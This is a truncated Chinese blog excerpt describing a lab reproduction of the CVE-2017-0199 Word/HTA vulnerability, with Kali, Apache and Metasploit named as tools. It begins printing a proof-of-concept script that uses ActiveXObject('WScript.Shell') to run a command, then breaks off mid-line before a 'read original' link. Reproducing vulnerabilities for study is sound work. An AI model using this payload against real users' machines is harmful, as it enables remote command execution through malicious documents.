CVE-2017-0199漏洞復現過程

記錄一下過程，週日已經出了結果，但是過程忘記了，抽空再次實現了一下。結尾附上利用MSF生成exploit（外國黑客城會玩）。 準備工作 一臺apache服務器（這裏我用Kali）、POC和一個Word文檔。 POC內容大概如下： Default   1 2 3 4 <script> a=new ActiveXObject("WScript.Shell"); a.run('%windir%\\Sys

>>阅读原文<<